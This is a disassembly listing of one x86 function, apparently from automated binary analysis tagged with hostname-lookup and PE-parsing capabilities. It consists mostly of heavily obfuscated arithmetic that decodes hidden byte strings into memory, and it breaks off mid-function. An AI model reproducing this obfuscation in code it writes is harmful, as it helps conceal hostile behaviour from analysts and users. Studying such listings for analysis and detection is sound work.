Function at 0x449d20
Capabilities:
Get hostname
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xc8
mov esi, esp
mov eax, dword [ebp + 8]
cmp dword [0x476680], 0
jne 0x44bbf0
jmp 0x449d43
mov al, byte [0x475a9e]
xor al, 0xf4
mov byte [0x475aa6], al
mov cl, byte [0x475a9f]
mov al, cl
xor al, 0xff
and al, 0x3c
mov dl, cl
and dl, 0xc3
or al, dl
xor al, 0xc3
and al, 0x22
mov dl, cl
xor dl, 0x22
and dl, cl
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
mov cl, al
and cl, 0xec
shl cl, 1
add al, 0xec
sub al, cl
mov byte [0x475aa7], al
mov al, byte [0x475aa0]
xor al, 0x43
mov byte [0x475aa8], al
mov al, byte [0x475aa1]
xor al, 0xa
mov byte [0x475aa9], al
mov al, byte [0x475aa2]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 8
xor cl, 0xff
or al, 0xf7
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x475aaa], cl
mov al, byte [str.O_:S]
xor al, 0x75
mov byte [0x475aab], al
mov al, byte [0x475aa4]
mov dl, al
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
mov cl, al
sub cl, dl
mov dl, al
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0x40
mov dl, al
and dl, 0x40
xor dl, 0xff
add al, 0x40
add al, 1
add al, dl
xor al, 0xff
mov dl, cl
and dl, al
xor cl, al
or dl, cl
xor dl, 0xff
mov byte [0x475aac], dl
mov al, byte [0x475aa5]
mov cl, al
and cl, 0x3a
shl cl, 1
add al, 0x3a
sub al, cl
mov byte [0x475aad], al
mov al, byte [0x475a60]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
and cl, 0x74
xor cl, 0xff
and al, 0x8b
xor al, 0xff
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x475a80], cl
mov al, byte [0x475a61]
xor al, 0x39
mov byte [0x475a81], al
mov al, byte [0x475a62]
mov cl, al
xor cl, 0xff
and cl, 0xe0
mov dl, al
and dl, 0x1f
or cl, dl
xor cl, 0x44
xor cl, 0xff
and cl, 0xa4
shl cl, 1
sub cl, 0xa4
sub al, cl
mov byte [0x475a82], al
mov al, byte [0x475a63]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xd5
xor al, 0xff
and al, 0x2a
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [0x475a83], cl
mov cl, byte [0x475a64]
mov al, cl
xor al, 0xff
and al, 0x6f
mov dl, cl
and dl, 0x90
or al, dl
xor al, 0x90
and al, 0xb5
mov dl, cl
xor dl, 0xb5
and dl, cl
mov cl, al
xor cl, 0xff
mov ah, dl
xor ah, 0xff
and cl, ah
xor al, 0xff
xor dl, 0xff
and al, dl
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [str.J8U__], cl
mov al, byte [0x475a65]
mov cl, al
xor cl, 0x8f
xor cl, 0xff
and cl, 0x8f
shl cl, 1
sub cl, 0x8f
xor cl, 0xff
add al, cl
add al, 1
mov byte [0x475a85], al
mov al, byte [0x475a66]
mov cl, al
xor cl, 0xff
and cl, 0x48
and al, 0xb7
or cl, al
xor cl, 0xd2
mov byte [0x475a86], cl
mov al, byte [0x475a67]
mov cl, al
xor cl, 0xff
and cl, 0x52
and al, 0xad
or cl, al
mov byte [0x475a87], cl
mov al, byte [0x475a68]
mov cl, al
xor cl, 0xff
and cl, 0x45
and al, 0xba
or cl, al
mov byte [0x475a88], cl
mov al, byte [0x475a69]
xor al, 0x80
mov byte [0x475a89], al
mov cl, byte [0x475a6a]
mov al, cl
and al, al
mov dl, cl
xor dl, dl
or al, dl
xor al, 0xff
xor al, 0xff
and al, 0x5f
or cl, 0x5f
xor cl, 0xff
xor al, 0xff
mov dl, cl
xor dl, 0xff
and dl, 0x77
and cl, 0x88
or dl, cl
xor dl, 0x88
mov cl, al
add cl, 1
xor al, 0xff
or al, dl
add al, cl
mov byte [0x475a8a], al
mov al, byte [0x475a6b]
xor al, 0x4c
mov byte [0x475a8b], al
mov al, byte [0x475a6c]
mov cl, al
xor cl, 0x4a
and cl, al
shl cl, 1
add al, 0xb5
sub al, cl
mov byte [0x475a8c], al
mov al, byte [0x475a6d]
xor al, 0x26
mov byte [0x475a8d], al
mov al, byte [0x475a6e]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
and cl, 0xff
mov ah, al
xor ah, 0xff
mov dl, al
xor dl, 0xff
or ah, dl
xor ah, 0xff
or ah, 0
xor ah, 0xff
or ah, 0
mov dl, cl
and dl, ah
xor dl, 0xff
and cl, ah
xor cl, 0xff
xor dl, 0xff
xor cl, 0xff
or dl, cl
and dl, dl
xor dl, 0xff
and dl, 0x83
xor dl, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
and cl, 0xff
xor al, 0xff
mov dl, al
and dl, 0x7c
xor dl, 0xff
xor al, 0xff
or al, 0x83
xor dl, 0xff
xor al, 0xff
or dl, al
xor cl, 0xff
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
xor cl, 0xff
and cl, 0xff
mov byte [0x475a8e], cl
mov cl, byte [0x475a6f]
mov al, cl
and al, al
xor al, 0xff
mov dl, al
xor dl, 0x52
xor dl, 0xff
or al, 0x52
and al, dl
xor al, 0xff
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0
mov cl, dl
or cl, 0x52
xor cl, 0xff
or dl, 0x52
xor dl, 0xff
or cl, dl
xor cl, 0xff
xor al, 0xff
mov dl, cl
and dl, 0xff
shl dl, 1
add cl, 0xff
sub cl, dl
or al, cl
mov byte [0x475a8f], al
mov al, byte [0x475a70]
xor al, 0xba
mov byte [0x475a90], al
mov al, byte [0x475a71]
xor al, 0x15
mov byte [0x475a91], al
mov al, byte [0x475a72]
mov cl, al
xor cl, 0xff
and cl, 0x83
and al, 0x7c
or cl, al
xor cl, 0x96
mov byte [0x475a92], cl
mov al, byte [0x475a73]
mov cl, al
xor cl, 0xdb
xor cl, 0xff
and cl, 0xdb
shl cl, 1
sub cl, 0xdb
sub al, cl
mov byte [0x475a93], al
mov al, byte [0x475a74]
xor al, 0xc
mov byte [0x475a94], al
mov al, byte [0x475a75]
mov cl, al
xor cl, 0xff
or cl, 0x59
mov dl, al
xor dl, 0xff
or dl, 0x59
and cl, dl
xor cl, 0xff
shl cl, 1
sub al, 0x5a
sub al, cl
mov byte [0x475a95], al
mov al, byte [0x475a76]
mov cl, al
xor cl, 0x17
xor cl, 0xff
and cl, 0x17
shl cl, 1
sub cl, 0x17
sub al, cl
mov byte [0x475a96], al
mov al, byte [0x475a77]
xor al, 0x34
mov byte [0x475a97], al
mov al, byte [0x475a78]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0xf4
shl cl, 1
add al, 0xf4
sub al, cl
mov byte [0x475a98], al
mov al, byte [0x475a79]
xor al, 0xe4
mov byte [0x475a99], al
mov al, byte [0x475a7a]
xor al, 0xa9
mov byte [0x475a9a], al
mov al, byte [0x475a7b]
xor al, 0x5b
mov byte [0x475a9b], al
mov al, byte [0x475a7c]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
and cl, 0xe2
xor cl, 0xff
xor al, 0xff
or al, 0xe2
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x475a9c], cl
mov al, byte [0x475a7d]
mov cl, al
add cl, 1
mov dl, al
xor dl, 0xff
or dl, 0xd9
add dl, cl
shl dl, 1
sub al, 0x27
mov cl, al
xor cl, dl
xor dl, 0xff
and al, dl
shl al, 1
sub al, cl
mov byte [0x475a9d], al
mov ch, byte [str.xN4Bc]
mov cl, ch
and cl, 0x35
xor cl, 0xff
mov al, ch
and al, 0x35
xor al, 0xff
and cl, al
xor cl, 0xff
mov dl, cl
and dl, 0xfd
mov al, cl
xor al, 0xff
and al, 2
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
add ch, 0x35
xor al, 0xff
add ch, al
add ch, 1
mov byte [0x475a17], ch
mov al, byte [0x475a14]
mov dl, al
xor dl, 0xff
and dl, 0xff
or dl, 0
mov ah, al
xor ah, 0xff
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
xor cl, 0xff
and cl, 0xff
or cl, 0
or cl, 0xf3
and al, 0xf3
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x475a18], cl
mov al, byte [0x475a15]
mov cl, al
and cl, 0x3e
shl cl, 1
add al, 0x3e
sub al, cl
mov byte [0x475a19], al
mov al, byte [0x475a16]
xor al, 0x42
mov byte [0x475a1a], al
mov ax, word [0x475a20]
mov cx, ax
and cx, 0x169c
shl cx, 1
add ax, 0x169c
sub ax, cx
mov word [0x475a40], ax
mov ax, word [0x475a22]
mov cx, ax
xor cx, 0xffff
and cx, 0xa7dc
and ax, 0x5823
or cx, ax
xor cx, 0x665d
mov word [0x475a42], cx
mov ax, word [0x475a24]
mov cx, ax
and cx, cx
xor cx, 0xffff
mov dx, ax
and dx, dx
xor dx, 0xffff
xor cx, 0xffff
xor dx, 0xffff
or cx, dx
or cx, cx
xor cx, 0xffff
or cx, 0
xor cx, 0xffff
or cx, 0
xor cx, 0xffff
mov dx, cx
and dx, 0xffff
shl dx, 1
add cx, 0xffff
sub cx, dx
mov dx, cx
and dx, 0x7af7
xor cx, 0x7af7
or dx, cx
xor ax, 0xffff
or ax, 0x8508
xor dx, 0xffff
xor ax, 0xffff
and ax, 0xffff
or ax, 0
or dx, ax
mov word [0x475a44], dx
mov ax, word [0x475a26]
xor ax, 0xadf7
mov word [0x475a46], ax
mov dx, word [0x475a28]
mov di, dx
xor di, 0xffff
and di, 0x8fbc
and dx, 0x7043
mov cx, di
xor cx, 0xffff
mov ax, dx
xor ax, 0xffff
mov word [esi + 0xa], ax
mov ax, cx
and ax, 0xd77d
and di, 0x2882
mov bx, word [esi + 0xa]
and bx, 0xd77d
and dx, 0x2882
or ax, di
or bx, dx
xor ax, bx
or cx, word [esi + 0xa]
xor cx, 0xffff
and cx, 0xffff
or ax, cx
mov cx, ax
xor cx, 0xaec5
xor cx, 0xffff
and cx, 0xaec5
shl cx, 1
sub cx, 0xaec5
sub ax, cx
mov word [0x475a48], ax
mov ax, word [0x475a2a]
xor ax, 0x8d90
mov word [0x475a4a], ax
mov ax, word [0x475a2c]
xor ax, 0x7f09
mov word [0x475a4c], ax
mov cx, word [0x475a2e]
mov ax, cx
xor ax, 0xffff
xor ax, 0xffff
xor ax, 0x9fbd
and ax, 0x9fbd
and cx, 0x6042
or ax, cx
xor ax, 0xe82c
mov word [0x475a4e], ax
mov ax, word [0x475a30]
mov cx, ax
xor cx, 0xffff
mov dx, ax
xor dx, 0xffff
and cx, dx
xor cx, 0xffff
and cx, 0x9578
mov dx, cx
xor dx, 0xffff
mov di, dx
and di, 2
or dx, 2
xor dx, 0xffff
imul dx, di
mov di, cx
and di, 2
or cx, 2
imul cx, di
add cx, dx
add ax, 0xbefa
add ax, 0x9578
sub ax, 0xbefa
mov dx, ax
xor dx, 0xffff
and dx, cx
xor cx, 0xffff
and ax, cx
sub ax, dx
mov word [0x475a50], ax
mov ax, word [0x475a32]
mov cx, ax
xor cx, 0xbd6f
xor cx, 0xffff
and cx, 0xbd6f
shl cx, 1
sub cx, 0xbd6f
sub ax, cx
mov word [0x475a52], ax
mov ax, word [0x475a34]
xor ax, 0xc9d1
mov word [0x475a54], ax
mov al, byte [0x4758e0]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0x98
xor al, 0xff
and al, 0x67
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [0x475900], cl
mov al, byte [str.c__tK_n]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0x43
xor cl, 0xff
and al, 0xbc
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x475901], cl
mov al, byte [0x4758e2]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0x6a
xor cl, 0xff
and al, 0x95
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x475902], cl
mov ch, byte [0x4758e3]
mov cl, ch
and cl, 0x66
mov dl, cl
and dl, 0xfd
mov al, cl
xor al, 0xff
and al, 2
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
mov cl, ch
and cl, 0x66
shl cl, 1
xor ch, 0x66
add ch, cl
sub ch, al
mov byte [0x475903], ch
mov al, byte [0x4758e4]
xor al, 0x26
mov byte [0x475904], al
mov al, byte [0x4758e5]
mov cl, al
xor cl, 0xff
and cl, 0x7a
and al, 0x85
or cl, al
mov byte [0x475905], cl
mov cl, byte [0x4758e6]
mov ah, cl
xor ah, 0xff
or ah, 0x3a
add ah, 0xc6
and cl, 0x3a
mov al, ah
xor al, 0xff
mov ch, cl
xor ch, 0xff
mov dl, al
and dl, 0x52
and ah, 0xad
mov dh, ch
and dh, 0x52
and cl, 0xad
or dl, ah
or dh, cl
xor dl, dh
or al, ch
xor al, 0xff
and al, 0xff
or dl, al
mov byte [0x475906], dl
mov ch, byte [0x4758e7]
mov al, ch
xor al, 0x78
xor al, 0xff
mov cl, ch
or cl, 0x78
and cl, al
mov al, cl
xor al, 0xff
mov dl, al
and dl, 2
or al, 2
xor al, 0xff
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
sub ch, 0xbf
add ch, 0x78
add ch, 0xbf
xor edx, edx
sub dl, al
add ch, dl
mov byte [0x475907], ch
mov al, byte [0x4758e8]
xor al, 0x93
mov byte [0x475908], al
mov ch, byte [0x4758e9]
mov cl, ch
and cl, 0x50
mov al, cl
xor al, 0xff
mov dl, al
and dl, 2
or al, 2
xor al, 0xff
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
add ch, 0x50
sub ch, al
mov byte [0x475909], ch
mov al, byte [0x4758ea]
xor al, 0xff
mov byte [0x47590a], al
mov al, byte [0x4758eb]
xor al, 0x2c
mov byte [0x47590b], al
mov al, byte [0x4758ec]
mov cl, al
xor cl, 0x88
xor cl, 0xff
and cl, 0x88
shl cl, 1
sub cl, 0x88
sub al, cl
mov byte [0x47590c], al
mov al, byte [0x4758ed]
xor al, 0x53
mov byte [0x47590d], al
mov ch, byte [0x4758ee]
mov cl, ch
xor cl, 0xc7
mov al, cl
and al, 0xff
shl al, 1
add cl, 0xff
sub cl, al
and cl, 0xc7
mov al, cl
xor al, 0xff
mov dl, al
and dl, 2
or al, 2
xor al, 0xff
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
add al, 0x39
xor al, 0xff
add ch, al
add ch, 1
mov byte [0x47590e], ch
mov al, byte [0x4758ef]
xor al, 0xc3
mov byte [0x47590f], al
mov cl, byte [0x4758f0]
mov al, cl
xor al, 0xff
xor al, 0xff
or al, 0xd2
xor al, 0xff
and al, 0xff
and cl, 0xd2
mov dl, cl
and dl, al
xor dl, 0xff
add al, cl
add al, 1
add al, dl
mov byte [0x475910], al
mov al, byte [0x4758f1]
mov cl, al
add cl, 1
mov dl, al
xor dl, 0xff
or dl, 0xb5
add dl, cl
shl dl, 1
add al, 0xb5
sub al, dl
mov byte [0x475911], al
mov cl, byte [0x4758f2]
mov al, cl
and al, al
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
or al, 0xa8
xor cl, 0xff
or cl, 0x57
mov dl, al
add dl, 1
xor al, 0xff
or al, cl
add al, dl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
mov byte [0x475912], al
mov al, byte [0x4758f3]
mov cl, al
and cl, 0xde
shl cl, 1
add al, 0xde
sub al, cl
mov byte [0x475913], al
mov al, byte [0x4758f4]
mov cl, al
xor cl, 0xff
and cl, 0xb5
and al, 0x4a
or cl, al
xor cl, 0x84
mov byte [0x475914], cl
mov al, byte [0x4758f5]
xor al, 0x8f
mov byte [0x475915], al
mov al, byte [0x4758f6]
xor al, 0xa7
mov byte [0x475916], al
mov cl, byte [0x4758f7]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
mov dl, cl
xor dl, 0xff
mov ah, cl
xor ah, 0xff
or dl, ah
xor al, 0xff
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0x53
xor al, 0xff
mov dl, cl
and dl, 0xff
shl dl, 1
add cl, 0xff
sub cl, dl
and cl, 0x53
and al, al
xor al, 0xff
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor al, 0xff
xor dl, 0xff
or al, dl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov byte [0x475917], al
mov dl, byte [0x4758f8]
mov ah, dl
xor ah, 0xff
and ah, 0x96
and dl, 0x69
mov al, ah
xor al, 0xff
mov ch, dl
xor ch, 0xff
mov cl, al
and cl, 0x55
and ah, 0xaa
mov dh, ch
and dh, 0x55
and dl, 0xaa
or cl, ah
or dh, dl
xor cl, dh
or al, ch
xor al, 0xff
and al, 0xff
or cl, al
mov byte [0x475918], cl
mov al, byte [0x4758f9]
mov cl, al
xor cl, 0xff
and cl, 0x72
and al, 0x8d
or cl, al
xor cl, 0xdd
mov byte [0x475919], cl
mov al, byte [0x4758fa]
mov cl, al
xor cl, 0x90
xor cl, 0xff
and cl, 0x90
shl cl, 1
sub cl, 0x90
sub al, cl
mov byte [0x47591a], al
mov al, byte [0x4758fb]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
and cl, 0xca
xor cl, 0xff
xor al, 0xff
or al, 0xca
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x47591b], cl
mov al, byte [0x475920]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0x9e
xor cl, 0xff
mov dl, al
or dl, 0x61
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0x61
shl cl, 1
add cl, 0x9f
xor edx, edx
sub dl, cl
add al, dl
mov byte [0x475940], al
mov al, byte [0x475921]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
xor cl, 0xff
or cl, 0x2c
and al, 0x2c
xor al, 0xff
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x475941], cl
mov al, byte [str._a2d]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
mov dl, cl
add dl, 1
xor cl, 0xff
or cl, 0x83
add cl, dl
xor al, 0xff
mov dl, al
add dl, 1
xor al, 0xff
or al, 0x7c
add al, dl
xor cl, 0xff
mov dl, al
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub al, dl
and cl, al
mov byte [0x475942], cl
mov al, byte [0x475923]
xor al, 0xd4
mov byte [0x475943], al
mov al, byte [0x475924]
mov cl, al
and cl, 0xc
shl cl, 1
add al, 0xc
sub al, cl
mov byte [0x475944], al
mov al, byte [0x475925]
mov cl, al
and cl, 0x42
shl cl, 1
add al, 0x42
sub al, cl
mov byte [0x475945], al
mov al, byte [0x475926]
mov cl, al
xor cl, 0x11
xor cl, 0xff
and cl, 0x11
shl cl, 1
sub cl, 0x11
mov dl, al
xor dl, cl
xor cl, 0xff
and al, cl
shl al, 1
sub al, dl
mov byte [0x475946], al
mov al, byte [0x475927]
mov cl, al
xor cl, 0x9f
xor cl, 0xff
and cl, 0x9f
shl cl, 1
sub cl, 0x9f
sub al, cl
mov byte [0x475947], al
mov cl, byte [0x475928]
mov al, cl
xor al, 0xff
and al, 0xb0
and cl, 0x4f
and al, al
xor al, 0xff
and cl, cl
xor cl, 0xff
xor al, 0xff
xor cl, 0xff
or al, cl
xor al, 0x9c
mov byte [0x475948], al
mov al, byte [0x475929]
mov dl, al
and dl, 0x54
shl dl, 1
mov cl, al
add cl, 0x54
sub cl, dl
xor cl, 0xff
or cl, 0xab
add cl, 0x55
shl cl, 1
sub cl, 0xca
sub cl, 0x54
add cl, 0xca
sub al, cl
mov byte [0x475949], al
mov al, byte [0x47592a]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
xor cl, 0xff
or cl, 0
and cl, 0xff
xor cl, 0xff
mov dl, al
xor dl, 0xff
xor dl, 0xff
mov ah, cl
xor ah, dl
and ah, cl
mov dl, ah
xor dl, 0xff
mov cl, dl
and cl, 0x4d
and ah, 0xb2
or cl, ah
xor cl, 0xdc
or dl, 0x6e
xor dl, 0xff
and dl, 0xff
or cl, dl
xor cl, 0xff
xor al, 0xff
mov dl, al
xor dl, 0xff
xor al, 0xff
and dl, al
or dl, 0x6e
xor dl, 0xff
xor cl, 0xff
mov al, dl
xor al, 0xff
xor al, 0xff
and al, 0xff
shl al, 1
sub al, 0xff
sub dl, al
and cl, dl
mov byte [0x47594a], cl
mov al, byte [0x47592b]
xor al, 0x73
mov byte [0x47594b], al
mov al, byte [0x47592c]
xor al, 0x8f
mov byte [0x47594c], al
mov al, byte [0x47592d]
xor al, 0x85
mov byte [0x47594d], al
mov cl, byte [0x47592e]
mov dl, cl
or dl, dl
mov al, dl
xor al, 0xff
xor al, 0xff
and al, 0xff
shl al, 1
sub al, 0xff
sub dl, al
mov al, dl
xor al, 0xff
and al, 0x78
and dl, 0x87
or al, dl
xor al, 0x87
and al, 0xf1
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0xf1
xor dl, 0xff
and dl, 0xff
or dl, 0
xor al, 0xff
xor dl, 0xff
and al, dl
mov byte [0x47594e], al
mov al, byte [0x47592f]
xor al, 0xd
mov byte [0x47594f], al
mov cl, byte [0x475930]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
mov dl, cl
or dl, dl
xor dl, 0xff
xor al, 0xff
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0x1a
xor al, 0xff
xor cl, 0xff
or cl, 0x1a
mov dl, al
xor dl, cl
xor dl, 0xff
or al, cl
and al, dl
xor al, 0xff
mov byte [0x475950], al
mov ch, byte [0x475931]
mov al, ch
add al, 1
mov cl, ch
xor cl, 0xff
or cl, 0x84
add cl, al
mov al, cl
xor al, 0xff
mov dl, al
and dl, 2
or al, 2
xor al, 0xff
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
add ch, 0x84
sub ch, al
mov byte [0x475951], ch
mov al, byte [0x475932]
mov cl, al
and cl, 0x5c
shl cl, 1
add al, 0x5c
sub al, cl
mov byte [0x475952], al
mov al, byte [0x475933]
mov dl, al
or dl, dl
xor dl, 0xff
mov cl, al
xor cl, 0xff
mov ah, al
xor ah, 0xff
and cl, ah
xor dl, 0xff
xor cl, 0xff
and dl, cl
mov cl, dl
xor cl, 0xff
and cl, 0xa0
and dl, 0x5f
or cl, dl
xor cl, 0x5f
or cl, cl
xor cl, 0xff
or cl, 0
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
and cl, 0xc4
xor al, 0xff
and al, 0xff
or al, 0
mov dl, al
add dl, 1
xor al, 0xff
or al, 0x3b
add al, dl
or cl, al
mov al, cl
xor al, 0xff
xor cl, 0xff
or al, cl
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
mov byte [0x475953], al
mov al, byte [0x475934]
mov cl, al
and cl, 0x52
shl cl, 1
add al, 0x52
add al, 0xfd
sub al, cl
sub al, 0xfd
mov byte [0x475954], al
mov al, byte [0x475935]
mov cl, al
and cl, 0x76
shl cl, 1
add al, 0x76
xor cl, 0xff
add al, cl
add al, 1
mov byte [0x475955], al
mov al, byte [0x475936]
mov cl, al
xor cl, 0xe5
xor cl, 0xff
and cl, 0xe5
shl cl, 1
sub cl, 0xe5
sub al, cl
mov byte [0x475956], al
mov al, byte [0x475937]
mov cl, al
xor cl, 0xff
and cl, 0xc7
and al, 0x38
or cl, al
xor cl, 0xcc
mov byte [0x475957], cl
mov al, byte [0x47598c]
xor al, 0x76
mov byte [0x475995], al
mov al, byte [0x47598d]
mov cl, al
and cl, 0x84
shl cl, 1
add al, 0x84
sub al, cl
mov byte [0x475996], al
mov al, byte [0x47598e]
mov cl, al
xor cl, 0xff
and cl, 0xad
and al, 0x52
or cl, al
mov byte [0x475997], cl
mov al, byte [0x47598f]
mov cl, al
xor cl, 0xff
and cl, 0xb8
and al, 0x47
or cl, al
mov byte [0x475998], cl
mov al, byte [0x475990]
xor al, 0xa3
mov byte [0x475999], al
mov al, byte [0x475991]
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0x1e
xor al, 0xff
or al, 0xe1
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x47599a], cl
mov al, byte [0x475992]
xor al, 0xbf
mov byte [0x47599b], al
mov al, byte [0x475993]
xor al, 0xc4
mov byte [0x47599c], al
mov al, byte [0x475994]
mov cl, al
and cl, 0x74
shl cl, 1
add al, 0x74
sub al, cl
mov byte [0x47599d], al
mov al, byte [0x475888]
mov cl, al
xor cl, 0xff
and cl, 0x72
and al, 0x8d
or cl, al
mov byte [0x475895], cl
mov al, byte [0x475889]
mov cl, al
xor cl, 0x3f
xor cl, 0xff
and cl, 0x3f
shl cl, 1
sub cl, 0x3f
sub al, cl
mov byte [0x475896], al
mov al, byte [0x47588a]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 6
xor al, 0xff
and al, 0xf9
or cl, al
xor cl, 0xff
mov byte [0x475897], cl
mov al, byte [0x47588b]
mov cl, al
xor cl, 0xff
and cl, 0xd2
xor al, 0xff
or al, 0xd2
xor al, 0xff
and al, 0xff
or cl, al
xor cl, 0x15
mov byte [0x475898], cl
mov al, byte [0x47588c]
xor al, 0x9e
mov byte [0x475899], al
mov al, byte [0x47588d]
mov cl, al
xor cl, 0x8b
xor cl, 0xff
and cl, 0x8b
shl cl, 1
sub cl, 0x8b
sub al, cl
mov byte [0x47589a], al
mov al, byte [0x47588e]
xor al, 0xfa
mov byte [0x47589b], al
mov al, byte [0x47588f]
mov cl, al
and cl, 0x81
shl cl, 1
add al, 0x81
sub al, cl
mov byte [0x47589c], al
mov al, byte [0x475890]
xor al, 0x53
mov byte [0x47589d], al
mov al, byte [0x475891]
mov cl, al
xor cl, 0x99
xor cl, 0xff
and cl, 0x99
shl cl, 1
sub cl, 0x99
sub al, cl
mov byte [0x47589e], al
mov al, byte [0x475892]
xor al, 0x71
mov byte [0x47589f], al
mov al, byte [0x475893]
mov dl, al
and dl, 0xff
shl dl, 1
mov cl, al
add cl, 0xff
sub cl, dl
or cl, 0x9b
add cl, 0x65
mov dl, al
xor dl, 0x9b
xor dl, 0xff
or al, 0x9b
and al, dl
or cl, al
xor cl, 0x29
mov byte [0x4758a0], cl
mov al, byte [0x475894]
mov cl, al
and cl, 0xff
shl cl, 1
mov dl, al
add dl, 0xff
sub dl, cl
mov cl, al
xor cl, 0xff
or dl, cl
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
mov ah, dl
xor ah, 0xff
mov cl, ah
and cl, 0x33
and dl, 0xcc
or cl, dl
xor cl, 0xae
or ah, 0x62
xor ah, 0xff
and ah, 0xff
or cl, ah
mov dl, al
add dl, 1
xor al, 0xff
or al, 0x9d
add al, dl
mov dl, al
and dl, 0xff
shl dl, 1
add al, 0xff
sub al, dl
xor cl, 0xff
and cl, 0xff
or cl, 0
mov dl, al
and dl, 0xff
shl dl, 1
add al, 0xff
sub al, dl
mov dl, al
xor dl, 0xff
mov ah, cl
and ah, dl
mov dl, cl
xor dl, al
add cl, dl
sub cl, ah
mov byte [0x4758a1], cl
mov cl, byte [0x475958]
mov al, cl
and al, al
xor al, 0xff
and al, 0xff
or al, 0
and al, 0xce
mov dl, al
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub al, dl
xor cl, 0xff
or cl, 0xce
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
xor al, 0xff
xor cl, 0xff
or al, cl
xor al, 0xff
and al, 0xff
xor al, 0xff
mov byte [0x475963], al
mov al, byte [0x475959]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0x99
or al, 0x99
xor al, 0xff
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [0x475964], cl
mov al, byte [0x47595a]
xor al, 0x99
mov byte [0x475965], al
mov al, byte [0x47595b]
xor al, 0xd5
mov byte [0x475966], al
mov ch, byte [0x47595c]
mov cl, ch
xor cl, 0xff
mov al, ch
xor al, 0xff
and cl, al
or cl, 0x3c
xor cl, 0xff
mov al, ch
or al, 0xc3
xor al, 0xff
xor cl, 0xff
xor al, 0xff
and cl, al
xor cl, 0xff
and cl, 0xc3
mov al, cl
xor al, 0xff
mov dl, al
and dl, 2
or al, 2
xor al, 0xff
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
mov cl, al
xor cl, 0xff
and cl, 0xc3
and al, 0x3c
sub al, cl
sub ch, al
mov byte [0x475967], ch
mov al, byte [0x47595d]
